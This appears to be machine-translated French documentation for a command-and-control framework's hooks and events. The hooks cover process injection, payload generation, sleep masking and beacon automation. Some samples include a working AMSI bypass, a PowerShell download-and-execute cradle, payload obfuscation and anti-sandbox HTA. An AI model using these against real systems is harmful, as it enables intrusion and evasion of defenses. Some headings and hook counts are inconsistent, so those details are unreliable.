Aller au contenu

Crochets et événements

Le moteur de script CNA de Stentor fournit deux mécanismes d'extensibilité pour personnaliser le comportement de C2 : des hooks pour remplacer les valeurs par défaut et des événements pour une automatisation réactive.


Aperçu

Crochets

Les hooks vous permettent de remplacer le comportement par défaut dans le pipeline C2. Lorsque le serveur atteint un point de décision (par exemple, comment injecter dans un processus, comment générer un artefact), il vérifie si un hook CNA est enregistré. Si tel est le cas, la valeur de retour du hook remplace la valeur par défaut. Si le hook renvoie $null, le comportement par défaut est utilisé.

Les hooks sont enregistrés avec le mot-clé set. Un seul gestionnaire par nom de hook -- le dernier rédacteur gagne (si plusieurs scripts définissent le même hook, le gestionnaire du script chargé le plus récemment prend effet).

set HOOK_NAME {
    # $1, $2, ... are the hook arguments
    # Return a value to override default behavior
    # Return $null to use default behavior
    return $custom_value;
}

Événements

Les événements vous permettent de réagir à l'activité du cycle de vie C2. Lorsque quelque chose se produit (enregistrement du beacon, connexion de l'opérateur, informations d'identification récupérées), EventBus distribue l'événement à tous les gestionnaires enregistrés. Plusieurs gestionnaires par événement -- tous les gestionnaires enregistrés se déclenchent (contrairement aux hooks).

Les événements sont enregistrés avec le mot-clé on :

on event_name {
    # $1, $2, ... are the event arguments
    # No return value expected
    println("Event fired: $1");
}

Gestionnaires de caractères génériques

Enregistrez un gestionnaire pour * afin de recevoir tous les événements envoyés par EventBus. Ceci est utile pour la journalisation d'audit ou le débogage :

on * {
    println("[event] fired with args");
}

Délai d'expiration du gestionnaire

Les gestionnaires d'événements s'exécutent avec un délai d'expiration de 30 secondes. Les gestionnaires de longue durée seront supprimés. Gardez les gestionnaires rapides et utilisez bsleep pour les opérations de beacon retardées.


Référence des crochets

Stentor implémente 29 hooks dans 9 catégories. Chaque hook documente sa signature CNA, ses arguments, sa convention de retour et un exemple d'utilisation.

Crochets d'injection

Ces hooks remplacent la manière dont Stentor injecte le code dans les processus. Le pipeline d'injection recherche un hook avant d'utiliser la technique par défaut. Il existe quatre variantes couvrant l'injection fork-and-run et l'injection explicite, dans le contexte SYSTÈME et utilisateur.

PROCESS_INJECT_SPAWN

Remplacer l'injection fork-and-run (utilisée par shspawn, execute-assembly, powerpick et d'autres commandes qui engendrent un processus sacrificiel).

set PROCESS_INJECT_SPAWN {
    # $1 = beacon ID (string)
    # $2 = DLL/shellcode bytes (string)
    # $3 = ignore current token ("true"/"false")
    # $4 = architecture ("x86"/"x64")
    # $5 = argument buffer (string)
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne DLL ou octets de shellcode à injecter
$3 chaîne "true" pour ignorer le jeton volé, "false" pour l'utiliser
$4 chaîne Architecture cible : "x86" ou "x64"
$5 chaîne Tampon d’argument passé au code injecté

Retour : Toute valeur non nulle indique l'injection gérée par le hook. Renvoyez $null pour le comportement par défaut.

set PROCESS_INJECT_SPAWN {
    local('$bid $dll $arch');
    $bid = $1;
    $dll = $2;
    $arch = $4;

    # Use custom injection: QueueUserAPC into a suspended process
    btask($bid, "Using custom APC injection");
    bdllspawn($bid, $dll, $arch, "rundll32.exe", 1);
    return "handled";
}

Protection contre la réentrée

L'invocateur de hook empêche une récursion infinie. Si votre hook appelle une fonction b* qui déclencherait à nouveau PROCESS_INJECT_SPAWN, l'appel réentrant utilise le comportement par défaut au lieu d'appeler le hook de manière récursive.


PROCESS_INJECT_EXPLICIT

Remplacez l'injection explicite dans un processus existant (utilisé par shinject, dllinject et les commandes d'injection ciblées).

set PROCESS_INJECT_EXPLICIT {
    # $1 = beacon ID, $2 = DLL bytes, $3 = target PID,
    # $4 = offset, $5 = architecture, $6 = argument buffer
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne DLL ou octets de shellcode à injecter
$3 chaîne ID du processus cible (sous forme de chaîne)
$4 chaîne Décalage dans la DLL (sous forme de chaîne)
$5 chaîne Architecture cible : "x86" ou "x64"
$6 chaîne Tampon d’argument passé au code injecté

Retour : Toute valeur non nulle indique l'injection gérée par le hook. Renvoyez $null pour le comportement par défaut.

set PROCESS_INJECT_EXPLICIT {
    local('$bid $pid $dll $arch');
    $bid = $1;
    $dll = $2;
    $pid = $3;
    $arch = $5;

    btask($bid, "Injecting into PID $pid via NtMapViewOfSection");
    # Custom injection technique here
    return "handled";
}

PROCESS_INJECT_SPAWN_USER

Remplacez l'injection fork-and-run lors de l'exécution dans un contexte d'utilisateur volé (après steal_token). Mêmes arguments que PROCESS_INJECT_SPAWN.

set PROCESS_INJECT_SPAWN_USER {
    # $1 = bid, $2 = dll_bytes, $3 = ignore_token, $4 = arch, $5 = arg_buffer
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne DLL ou octets de shellcode
$3 chaîne "true" pour ignorer le jeton actuel
$4 chaîne Architecture : "x86" ou "x64"
$5 chaîne Tampon d'arguments

Retour : Toute valeur non nulle indique l'injection gérée par le hook. Renvoyez $null pour le comportement par défaut.


PROCESS_INJECT_EXPLICIT_USER

Remplacez l'injection explicite dans un processus existant lors de l'exécution dans un contexte d'utilisateur volé. Mêmes arguments que PROCESS_INJECT_EXPLICIT.

set PROCESS_INJECT_EXPLICIT_USER {
    # $1 = bid, $2 = dll_bytes, $3 = pid, $4 = offset, $5 = arch, $6 = arg_buffer
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne DLL ou octets de shellcode
$3 chaîne ID de processus cible
$4 chaîne Décalage dans la DLL
$5 chaîne Architecture : "x86" ou "x64"
$6 chaîne Tampon d'arguments

Retour : Toute valeur non nulle indique l'injection gérée par le hook. Renvoyez $null pour le comportement par défaut.


Hooks de génération de payload

Ces hooks interceptent le pipeline de génération de payload, vous permettant de personnaliser la sortie des artefacts, de modifier le shellcode brut, de remplacer les chargeurs réfléchissants ou de modifier les routines de compression.

EXECUTABLE_ARTIFACT_GENERATOR

Remplacez la génération d’artefacts EXE/DLL. Il s'agit du hook Artifact Kit : utilisez-le pour remplacer le modèle d'exécutable par défaut par un modèle personnalisé (par exemple, binaire signé, exécutable compressé ou chargeur personnalisé).

set EXECUTABLE_ARTIFACT_GENERATOR {
    # $1 = artifact filename, $2 = shellcode bytes
}
Argumentation Type Description
$1 chaîne Nom du fichier d'artefact (par exemple, "artifact64.exe", "artifact32.dll")
$2 chaîne Octets de shellcode bruts à intégrer

Retour : Octets binaires personnalisés sous forme de chaîne. Renvoie $null pour la génération d'artefacts par défaut.

set EXECUTABLE_ARTIFACT_GENERATOR {
    local('$artifact $shellcode $handle $data');
    $artifact = $1;
    $shellcode = $2;

    # Load custom template from disk
    $handle = openf("/opt/custom-artifacts/ $+ $artifact");
    $data = readb($handle, -1);
    closef($handle);

    # Patch shellcode into template at marker offset
    # (implementation depends on your template format)
    return $data;
}

Kit d'artefacts

L'Artifact Kit est un framework de code source permettant de créer des exécutables personnalisés. Le hook EXECUTABLE_ARTIFACT_GENERATOR vous permet d'intégrer un kit d'artefacts personnalisé dans votre flux de travail CNA. Consultez la documentation Evasion Kits pour la personnalisation des artefacts au moment de la construction.


RESOURCE_GENERATEUR

Remplacez la génération de script de ressources. Il s'agit du hook Resource Kit pour les payloads basées sur des scripts (scripts de ressources PowerShell, Python, HTA).

set RESOURCE_GENERATOR {
    # $1 = shellcode bytes
}
Argumentation Type Description
$1 chaîne Octets de shellcode bruts

Retour : Script de ressource personnalisé sous forme de chaîne. Renvoie $null pour la génération de ressources par défaut.

set RESOURCE_GENERATOR {
    local('$shellcode $encoded');
    $shellcode = $1;

    # Custom encoding/obfuscation of the shellcode
    $encoded = transform($shellcode, "xor");
    return build_custom_loader($encoded);
}

RESOURCE_GENERATOR_VBS

Remplacez la génération d’artefacts de ressources VBS (Visual Basic Script).

set RESOURCE_GENERATOR_VBS {
    # $1 = executable data, $2 = executable name
}
Argumentation Type Description
$1 chaîne Données exécutables (octets bruts)
$2 chaîne Nom du fichier exécutable

Retour : Script VBS personnalisé sous forme de chaîne. Renvoyez $null pour la génération VBS par défaut.


PAYLOAD_GENERATE

Modifiez les octets du payload brut pendant la génération. Ce hook se déclenche après l'assemblage du payload mais avant la livraison, vous permettant d'ajouter un encodage, un chiffrement ou un filigrane personnalisé.

set PAYLOAD_GENERATE {
    # $1 = listener name, $2 = payload bytes, $3 = architecture
}
Argumentation Type Description
$1 chaîne Nom du listener auquel cette payload se connecte
$2 chaîne Octets du payload brut
$3 chaîne Architecture : "x86" ou "x64"

Retour : Octets du payload modifiés sous forme de chaîne. Renvoyez $null pour utiliser le payload non modifié.

set PAYLOAD_GENERATE {
    local('$listener $payload $arch');
    $listener = $1;
    $payload = $2;
    $arch = $3;

    # XOR-encode the payload with a random key
    $key = rand(0xFF);
    return xor_encode($payload, $key);
}

PAYLOAD_COMPRESS

Remplacez la compression de le payload. Par défaut, les payloads peuvent être compressées avant l'intégration. Ce hook vous permet de remplacer l'algorithme de compression.

set PAYLOAD_COMPRESS {
    # $1 = payload bytes
}
Argumentation Type Description
$1 chaîne Octets de payload brute à compresser

Retour : Octets de payload compressés. Renvoyez $null pour la compression par défaut.


BEACON_RDLL_GENERATE

Remplacez le chargeur réfléchissant par défaut par un chargeur réfléchissant défini par l'utilisateur (UDRL). Ce hook se déclenche lors de la génération de le payload DLL et vous permet de fournir une implémentation de chargeur réfléchissante entièrement personnalisée.

set BEACON_RDLL_GENERATE {
    # $1 = filename, $2 = DLL bytes, $3 = architecture, $4 = options hash
}
Argumentation Type Description
$1 chaîne Nom du fichier DLL
$2 chaîne Octets bruts de DLL
$3 chaîne Architecture : "x86" ou "x64"
$4 hachage Hachage d'options avec des clés comme "listener", "profile", etc.

Retour : Octets de DLL du chargeur personnalisé. Renvoyez $null pour le chargeur réfléchissant par défaut.

set BEACON_RDLL_GENERATE {
    local('$filename $dll $arch $options');
    $filename = $1;
    $dll = $2;
    $arch = $3;
    $options = $4;

    # Load custom UDRL from disk
    $handle = openf("/opt/udrl/loader_ $+ $arch $+ .dll");
    $loader = readb($handle, -1);
    closef($handle);

    # Patch beacon DLL into custom loader
    return patch_loader($loader, $dll);
}

Complexité UDRL

Les chargeurs réfléchissants personnalisés sont une fonctionnalité avancée. Le chargeur doit analyser correctement les en-têtes PE, résoudre les importations, appliquer les relocalisations et exécuter les rappels TLS. Testez minutieusement avant le déploiement.


BEACON_RDLL_GENERATE_LOCAL

Remplacez le chargeur réfléchissant pour injection locale (en cours, via dllinject/shinject). Cette variante reçoit des arguments supplémentaires pour le contexte du beacon parent.

set BEACON_RDLL_GENERATE_LOCAL {
    # $1 = filename, $2 = DLL bytes, $3 = arch, $4 = parent beacon ID,
    # $5 = GetModuleHandleA pointer, $6 = GetProcAddress pointer, $7 = options hash
}
Argumentation Type Description
$1 chaîne Nom du fichier DLL
$2 chaîne Octets bruts de DLL
$3 chaîne Architecture : "x86" ou "x64"
$4 chaîne ID du beacon parent (le beacon effectuant l'injection)
$5 chaîne Pointeur de fonction GetModuleHandleA (sous forme de chaîne)
$6 chaîne Pointeur de fonction GetProcAddress (sous forme de chaîne)
$7 hachage Hachage des options

Retour : Octets de DLL du chargeur personnalisé. Renvoyez $null pour le chargeur réfléchissant par défaut.


Crochets PowerShell

Ces hooks personnalisent la construction des commandes PowerShell, les supports de téléchargement et la compression des scripts.

POWERSHELL_COMMAND

Modifiez la construction de la commande PowerShell avant son exécution. Utilisez ceci pour modifier la façon dont les commandes PowerShell sont encapsulées (par exemple, ajoutez -ExecutionPolicy Bypass, encodage personnalisé, pré-ajouts de contournement AMSI).

set POWERSHELL_COMMAND {
    # $1 = PowerShell command string, $2 = is remote execution ("true"/"false")
}
Argumentation Type Description
$1 chaîne La commande PowerShell à exécuter
$2 chaîne "true" s'il s'agit d'un contexte d'exécution à distance

Retour : Chaîne de commande modifiée. Renvoyez $null pour le comportement par défaut.

set POWERSHELL_COMMAND {
    local('$cmd $remote');
    $cmd = $1;
    $remote = $2;

    # Prepend AMSI bypass to every PowerShell command
    $bypass = "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue(\$null,\$true);";
    return $bypass . $cmd;
}

POWERSHELL_DOWNLOAD_CRADLE

Remplacez le cradle de téléchargement PowerShell utilisé pour les payloads stagés.

set POWERSHELL_DOWNLOAD_CRADLE {
    # $1 = URL to download from
}
Argumentation Type Description
$1 chaîne URL à partir de laquelle le berceau de téléchargement doit récupérer

Retour : Terminez le script de support de téléchargement PowerShell. Renvoyez $null pour le berceau par défaut.

set POWERSHELL_DOWNLOAD_CRADLE {
    local('$url');
    $url = $1;

    # Custom cradle using .NET WebClient with proxy support
    return "IEX([System.Net.WebClient]::new().DownloadString(' $+ $url $+ '))";
}

POWERSHELL_COMPRESS

Remplacez la compression du script PowerShell. Appliqué aux payloads PowerShell avant la livraison.

set POWERSHELL_COMPRESS {
    # $1 = PowerShell command to compress
}
Argumentation Type Description
$1 chaîne Chaîne de commande PowerShell

Retour : Commande PowerShell compressée/codée. Renvoyez $null pour la compression par défaut.


Crochets HTA

Ces hooks personnalisent la génération de payload d’application HTML (HTA).

HTMLAPP_EXE

Remplacez la génération HTA pour les payloads basées sur EXE.

set HTMLAPP_EXE {
    # $1 = executable data (bytes), $2 = executable filename
}
Argumentation Type Description
$1 chaîne Données exécutables (octets bruts)
$2 chaîne Nom du fichier exécutable

Retour : Modèle HTA personnalisé sous forme de chaîne. Renvoyez $null pour le HTA par défaut.

set HTMLAPP_EXE {
    local('$exe $name');
    $exe = $1;
    $name = $2;

    # Build custom HTA that drops and executes the EXE
    return "<html><head><script language=\"VBScript\">
    ' Custom HTA with anti-sandbox checks
    If Not IsEmpty(GetObject(\"winmgmts:root\\cimv2\").ExecQuery(\"SELECT * FROM Win32_ComputerSystem\").ItemIndex(0).Model) Then
        ' Proceed with execution
    End If
    </script></head></html>";
}

HTMLAPP_POWERSHELL

Remplacez la génération HTA pour les payloads basées sur PowerShell.

set HTMLAPP_POWERSHELL {
    # $1 = PowerShell command string
}
Argumentation Type Description
$1 chaîne Commande PowerShell à exécuter

Retour : Modèle HTA personnalisé. Renvoyez $null pour le HTA par défaut.


Crochets pour masque de sommeil

Ces crochets personnalisent le kit de masque de sommeil – le code qui crypte la mémoire du beacon pendant les intervalles de sommeil.

BEACON_SLEEP_MASK

Fournissez une implémentation de masque de sommeil personnalisée. Ce hook se déclenche pendant la génération de le payload et renvoie le code source de la routine du masque de sommeil.

set BEACON_SLEEP_MASK {
    # $1 = beacon type, $2 = architecture, $3 = options hash
}
Argumentation Type Description
$1 chaîne Type de beacon : "default" ou "pivot"
$2 chaîne Architecture : "x86" ou "x64"
$3 hachage Hachage d'options avec des clés telles que "listener", "profile"

Retour : Code source du masque de sommeil personnalisé (octets). Renvoyez $null pour le masque de sommeil par défaut ou téléchargé dans le kit.

set BEACON_SLEEP_MASK {
    local('$type $arch $options $handle $source');
    $type = $1;
    $arch = $2;
    $options = $3;

    # Load custom sleep mask source for the target arch
    $handle = openf("/opt/sleepmask/mask_ $+ $arch $+ .go");
    $source = readb($handle, -1);
    closef($handle);

    return $source;
}

SLEEP_MASK_KIT_BUILD

Modifiez les indicateurs de build pour la compilation du masque de sommeil. Ce hook se déclenche avant que la demande de payload soit envoyée au relais, vous permettant d'ajouter des indicateurs de compilateur personnalisés.

set SLEEP_MASK_KIT_BUILD {
    # $1 = source path, $2 = architecture, $3 = current build flags
}
Argumentation Type Description
$1 chaîne Chemin d'accès au fichier source du masque de sommeil (informatif, en lecture seule)
$2 chaîne Architecture cible : "x86" ou "x64"
$3 chaîne Chaîne d'indicateurs de build actuelle

Retour : Chaîne d'indicateurs de build modifiée. Renvoyez $null pour les indicateurs par défaut.

set SLEEP_MASK_KIT_BUILD {
    local('$source $arch $flags');
    $source = $1;
    $arch = $2;
    $flags = $3;

    # Add custom build tag for timer-queue sleep
    return $flags . " -tags timer_queue_sleep";
}

Crochets de cycle de vie des beacons

Ces hooks interceptent le traitement des commandes de beacon et le premier comportement d’enregistrement.

BEACON_INITIAL_EMPTY

Gérez le premier enregistrement d’une nouvelle beacon lorsqu’aucune tâche n’est en attente. Utilisez-le pour mettre automatiquement en file d'attente les tâches initiales pour chaque nouvelle beacon.

set BEACON_INITIAL_EMPTY {
    # $1 = beacon ID
}
Argumentation Type Description
$1 chaîne ID de beacon du beacon nouvellement connectée

Retour : Toute valeur non nulle indique que le hook a géré l'enregistrement. Renvoyez $null pour le comportement par défaut.

set BEACON_INITIAL_EMPTY {
    local('$bid');
    $bid = $1;

    # Auto-task every new beacon
    bsleep($bid, 10, 20);  # Set 10s sleep, 20% jitter
    bps($bid);              # List processes
    bipconfig($bid);        # Network config
    return "handled";
}

BEACON_COMMAND_PREPPROCESS

Modifiez une commande de beacon avant son exécution. Permet l'interception, l'alias, la journalisation ou la transformation de commandes.

set BEACON_COMMAND_PREPROCESS {
    # $1 = beacon ID, $2 = command string
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Chaîne de commande sur le point d'être exécutée

Retour : Chaîne de commande modifiée. Renvoyez $null pour utiliser la commande d'origine.

set BEACON_COMMAND_PREPROCESS {
    local('$bid $cmd');
    $bid = $1;
    $cmd = $2;

    # Log every command for audit
    elog("[AUDIT] Beacon $bid : $cmd");

    # Block dangerous commands in production
    if ("rm -rf" isin $cmd) {
        berror($bid, "Blocked: destructive command");
        return "";  # Return empty to suppress
    }

    return $null;  # Use original command
}

BEACON_COMMAND_POSTPROCESS

Traitez une commande de beacon une fois terminée. Permet la transformation de sortie, les alertes ou la logique de post-traitement.

set BEACON_COMMAND_POSTPROCESS {
    # $1 = beacon ID, $2 = command, $3 = output
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Commande exécutée
$3 chaîne Sortie de commande

Retour : Toute valeur non nulle indique que le hook a géré la sortie. Renvoyez $null pour le comportement par défaut.


Crochets d'écoute

Ces hooks interceptent les événements du cycle de vie de l’listener et réessayent.

LISTENER_START

Réagissez lorsqu'un listener démarre avec succès.

set LISTENER_START {
    # $1 = listener name, $2 = listener type
}
Argumentation Type Description
$1 chaîne Nom du listener (par exemple, "HTTPS Relay")
$2 chaîne Type d'écoute (par exemple, "https", "dns", "smb")

Retour : Toute valeur non nulle indique que le hook a géré l'événement. Renvoyez $null pour le comportement par défaut.


LISTENER_STOP

Réagissez lorsqu’un listener s’arrête.

set LISTENER_STOP {
    # $1 = listener name, $2 = listener type
}
Argumentation Type Description
$1 chaîne Nom du listener
$2 chaîne Type d'listener

Retour : Toute valeur non nulle indique que le hook a géré l'événement. Renvoyez $null pour le comportement par défaut.


LISTENER_MAX_RETRY_STRATEGIES

Définissez des stratégies de nouvelle tentative personnalisées pour le comportement de sortie en cas d'échec du beacon. Contrairement à d'autres hooks, cela ne prend aucun argument et renvoie une liste de chaînes de stratégie séparées par des sauts de ligne.

set LISTENER_MAX_RETRY_STRATEGIES {
    # No arguments
}

Retour : Chaînes de stratégie séparées par une nouvelle ligne (par exemple, "exit-50-25-5m\nexit-75-50-15m"). Renvoyez $null pour les stratégies par défaut.

set LISTENER_MAX_RETRY_STRATEGIES {
    return "exit-50-25-5m\nexit-75-50-15m\nexit-90-80-30m";
}

Crochets SSH

SSH_COMMAND_PREPPROCESS

Modifiez une commande SSH avant son exécution. Fonctionne de manière identique à BEACON_COMMAND_PREPROCESS mais pour les sessions SSH.

set SSH_COMMAND_PREPROCESS {
    # $1 = session ID, $2 = command string
}
Argumentation Type Description
$1 chaîne ID de session SSH (beacon)
$2 chaîne Chaîne de commande à exécuter

Retour : Chaîne de commande modifiée. Renvoyez $null pour utiliser la commande d'origine.


Crochets Web

PROFILER_HIT

Réagissez lorsque le profileur système reçoit une visite Web. Utilisez-le pour le suivi des visiteurs, la prise d’empreintes digitales ou la livraison conditionnelle de payloads.

set PROFILER_HIT {
    # $1 = remote IP, $2 = user agent, $3 = URI
}
Argumentation Type Description
$1 chaîne Adresse IP distante
$2 chaîne En-tête de l'agent utilisateur
$3 chaîne URI demandé

Retour : Toute valeur non nulle indique que le hook a géré l'événement. Renvoyez $null pour le comportement par défaut.

set PROFILER_HIT {
    local('$ip $ua $uri');
    $ip = $1;
    $ua = $2;
    $uri = $3;

    # Log profiler hits
    elog("[PROFILER] $ip visited $uri (UA: $ua)");
    return $null;
}

WEB_HIT

Réagissez lorsque le serveur Web relais reçoit une requête HTTP.

set WEB_HIT {
    # $1 = remote IP, $2 = HTTP method, $3 = URI, $4 = user agent
}
Argumentation Type Description
$1 chaîne Adresse IP distante
$2 chaîne Méthode HTTP ("GET", "POST", etc.)
$3 chaîne URI demandé
$4 chaîne En-tête de l'agent utilisateur

Retour : Toute valeur non nulle indique que le hook a géré l'événement. Renvoyez $null pour le comportement par défaut.


Autres crochets

PYTHON_COMPRESS

Remplacez la compression des scripts Python pour les payloads basées sur Python.

set PYTHON_COMPRESS {
    # $1 = Python command
}
Argumentation Type Description
$1 chaîne Chaîne de commande Python

Retour : Commande Python compressée/codée. Renvoyez $null pour la compression par défaut.


BEACON_RDLL_SIZE

Spécifiez une taille RDLL (Reflective DLL) personnalisée pour la génération de payload. Utilisez-le lorsque votre chargeur réfléchissant personnalisé nécessite plus d'espace que l'allocation par défaut.

set BEACON_RDLL_SIZE {
    # $1 = architecture, $2 = is stageless ("true"/"false")
}
Argumentation Type Description
$1 chaîne Architecture : "x86" ou "x64"
$2 chaîne "true" si vous générez un payload sans étape

Retour : Taille entière sous forme de chaîne (par exemple, "512000"). Renvoyez $null pour la taille par défaut.

set BEACON_RDLL_SIZE {
    local('$arch $stageless');
    $arch = $1;
    $stageless = $2;

    if ($arch eq "x64") {
        return "512000";  # 500KB for x64 UDRL
    }
    return "256000";  # 250KB for x86
}

PSEXEC_SERVICE

Définissez un nom de service PsExec personnalisé. Contrairement à d'autres hooks, il s'agit d'une simple valeur de chaîne (pas d'une fermeture).

# Note: This is a value assignment, not a closure
set PSEXEC_SERVICE "stentorsvc";
Paramètre Type Description
Valeur chaîne Nom du service personnalisé pour le mouvement latéral PsExec

Retour : N/A -- la valeur est lue directement lorsque PsExec est invoqué.

Hook de type string

PSEXEC_SERVICE est unique parmi les hooks : il stocke une valeur de chaîne plutôt qu'une fermeture. Utilisez set PSEXEC_SERVICE "name"; -- pas set PSEXEC_SERVICE { return "name"; }.


POSTEX_RDLL_GENERATE

Remplacez le chargeur réfléchissant post-exploitation par défaut. Ce hook s'applique aux DLL post-ex (mimikatz, capture d'écran, modules keylogger) plutôt qu'au beacon lui-même.

set POSTEX_RDLL_GENERATE {
    # $1 = beacon ID, $2 = DLL bytes, $3 = architecture
}
Argumentation Type Description
$1 chaîne Beacon ID demandant le module post-ex
$2 chaîne Octets bruts de DLL
$3 chaîne Architecture : "x86" ou "x64"

Retour : Octets DLL post-ex personnalisés. Renvoyez $null pour le chargeur par défaut.


Tableau récapitulatif des crochets

Référence rapide pour les 29 crochets :

Crochet Catégorie Arguments Retours
PROCESS_INJECT_SPAWN Injection bid, dll, ignore_token, arch, args bool
PROCESS_INJECT_EXPLICIT Injection bid, dll, pid, offset, arch, args bool
PROCESS_INJECT_SPAWN_USER Injection bid, dll, ignore_token, arch, args bool
PROCESS_INJECT_EXPLICIT_USER Injection bid, dll, pid, offset, arch, args bool
EXECUTABLE_ARTIFACT_GENERATOR Génération de payload fichier_artefact, shellcode octets
RESOURCE_GENERATOR Génération de payload shellcode chaîne
RESOURCE_GENERATOR_VBS Génération de payload données_exe, nom_exe chaîne
PAYLOAD_GENERATE Génération de payload listener, payload, arch octets
PAYLOAD_COMPRESS Génération de payload payload_bytes octets
BEACON_RDLL_GENERATE Génération de payload nom de fichier, dll, arch, options octets
BEACON_RDLL_GENERATE_LOCAL Génération de payload filename, dll, arch, bid, gmha, gpa, options octets
POWERSHELL_COMMAND PowerShell commande, is_remote chaîne
POWERSHELL_DOWNLOAD_CRADLE PowerShell URL chaîne
POWERSHELL_COMPRESS PowerShell ps_commande chaîne
HTMLAPP_EXE ETS données_exe, nom_exe chaîne
HTMLAPP_POWERSHELL ETS ps_commande chaîne
BEACON_SLEEP_MASK Masque de sommeil beacon_type, arch, options octets
SLEEP_MASK_KIT_BUILD Masque de sommeil chemin_source, arch, drapeaux chaîne
BEACON_INITIAL_EMPTY Cycle de vie bid bool
BEACON_COMMAND_PREPROCESS Cycle de vie bid, commande chaîne
BEACON_COMMAND_POSTPROCESS Cycle de vie bid, commande, sortie bool
LISTENER_START Listener nom, type bool
LISTENER_STOP Listener nom, type bool
LISTENER_MAX_RETRY_STRATEGIES Listener (aucun) chaîne
SSH_COMMAND_PREPROCESS SSH bid, commande chaîne
PROFILER_HIT Internet ip, ua, uri bool
WEB_HIT Internet ip, méthode, uri, ua bool
PYTHON_COMPRESS Autre py_commande chaîne
BEACON_RDLL_SIZE Autre arch, is_stageless int
PSEXEC_SERVICE Autre (valeur de chaîne) chaîne
POSTEX_RDLL_GENERATE Autre bid, dll, arch octets

Référence des événements

Stentor répartit plus de 57 événements dans 15 catégories. Tous les événements sont non bloquants : chaque gestionnaire s'exécute dans sa propre goroutine avec récupération de panique.

Événements du cycle de vie des beacons

Ces événements se déclenchent pendant le cycle de vie de la connexion du beacon : enregistrement initial, enregistrements ultérieurs, changements de mode et sortie.

beacon_initial

Se déclenche lorsqu'une nouvelle beacon s'enregistre pour la première fois.

on beacon_initial {
    # $1 = beacon ID
    local('$bid');
    $bid = $1;
    println("[+] New beacon: $bid");
}
Argumentation Type Description
$1 chaîne ID de beacon

Source : c2/encrypted_handler.go Checkin(), c2/handler.go Checkin()


beacon_initial_empty

Se déclenche lorsqu'une nouvelle beacon s'enregistre et n'a aucune tâche en attente. Ceci est distinct de beacon_initial et se déclenche en plus.

on beacon_initial_empty {
    # $1 = beacon ID
    bsleep($1, 5, 0);
    bps($1);
}
Argumentation Type Description
$1 chaîne ID de beacon

Source : c2/encrypted_handler.go Checkin(), c2/handler.go Checkin()


beacon_checkin

Se déclenche lors des enregistrements ultérieurs (pas le premier). Utilisez-le pour surveiller la santé et la connectivité du beacon.

on beacon_checkin {
    # $1 = beacon ID, $2 = timestamp
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Horodatage de l'enregistrement

Source : c2/encrypted_handler.go Checkin(), c2/handler.go Checkin()


beacon_sortie

Se déclenche lorsqu'un beacon est supprimée (nettoyage obsolète ou suppression manuelle).

on beacon_exit {
    # $1 = beacon ID
    elog("[!] Lost beacon: $1");
}
Argumentation Type Description
$1 chaîne ID de beacon

Source : c2/handler.go WireBeaconExitEvent() via le rappel BeaconRegistry


mode_balise

Se déclenche lorsqu'un beacon change de mode de transport (par exemple, en passant d'un mode DNS à l'autre).

on beacon_mode {
    # $1 = beacon ID, $2 = new mode, $3 = timestamp
    elog("Beacon $1 switched to $2 mode");
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Nouveau mode de transport (par exemple, "dns", "dns6", "dns-txt")
$3 chaîne Horodatage

Source : c2/encrypted_handler.go SubmitResult() [technique=transport_mode]


Tâche de beacon/événements de sortie

Ces événements se déclenchent lorsque les commandes sont mises en file d'attente, que les entrées sont reçues et que les sorties arrivent des beacons.

beacon_tâche

Se déclenche lorsqu'une commande est mise en file d'attente pour un beacon.

on beacon_tasked {
    # $1 = beacon ID, $2 = command, $3 = timestamp
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Chaîne de commande en file d'attente
$3 chaîne Horodatage

Source : handler/cockpit_shell.go enqueueAndRespond()


beacon_entrée

Se déclenche lorsqu'un opérateur ou script met en file d'attente l'entrée d'un beacon.

on beacon_input {
    # $1 = beacon ID, $2 = operator name, $3 = command, $4 = timestamp
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Opérateur qui a envoyé la commande (ou "aggressor" pour les scripts CNA)
$3 chaîne Chaîne de commande
$4 chaîne Horodatage

Source : handler/cockpit_shell.go enqueueAndRespond(), aggressor/beacon_api.go


beacon_sortie

Se déclenche lorsqu'un beacon renvoie une sortie de tâche réussie.

on beacon_output {
    # $1 = beacon ID, $2 = output text, $3 = timestamp
    println("[output] $1 : $2");
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Texte de sortie
$3 chaîne Horodatage

Source : c2/encrypted_handler.go SubmitResult(), c2/handler.go SubmitResult()


beacon_output_alt

Se déclenche pour une sortie structurée/au format alternatif (par exemple, une sortie ls, ps, jobs qui a un format spécial).

on beacon_output_alt {
    # $1 = beacon ID, $2 = structured output, $3 = timestamp
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Données de sortie structurées
$3 chaîne Horodatage

Source : c2/encrypted_handler.go SubmitResult() [OutputType == "alt"]


beacon_erreur

Se déclenche lorsqu'un beacon renvoie une erreur de tâche.

on beacon_error {
    # $1 = beacon ID, $2 = error message, $3 = timestamp
    elog("[ERROR] Beacon $1 : $2");
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Message d'erreur
$3 chaîne Horodatage

Source : c2/encrypted_handler.go SubmitResult(), c2/handler.go SubmitResult()


Événements de sortie spécialisés Beacon

Ces événements se déclenchent pour des types de sortie spécifiques, offrant une gestion des événements plus granulaire que le beacon_output_alt générique.

beacon_output_jobs

Se déclenche lorsque la sortie liste d'emploi arrive d'un beacon.

on beacon_output_jobs {
    # $1 = beacon ID, $2 = job listing output, $3 = timestamp
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Sortie de la liste d'emplois
$3 chaîne Horodatage

Source : c2/encrypted_handler.go SubmitResult() [technique=jobs]


beacon_output_ls

Se déclenche lorsque la sortie liste de répertoires arrive d'un beacon.

on beacon_output_ls {
    # $1 = beacon ID, $2 = directory listing, $3 = timestamp
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Sortie de liste d'annuaire
$3 chaîne Horodatage

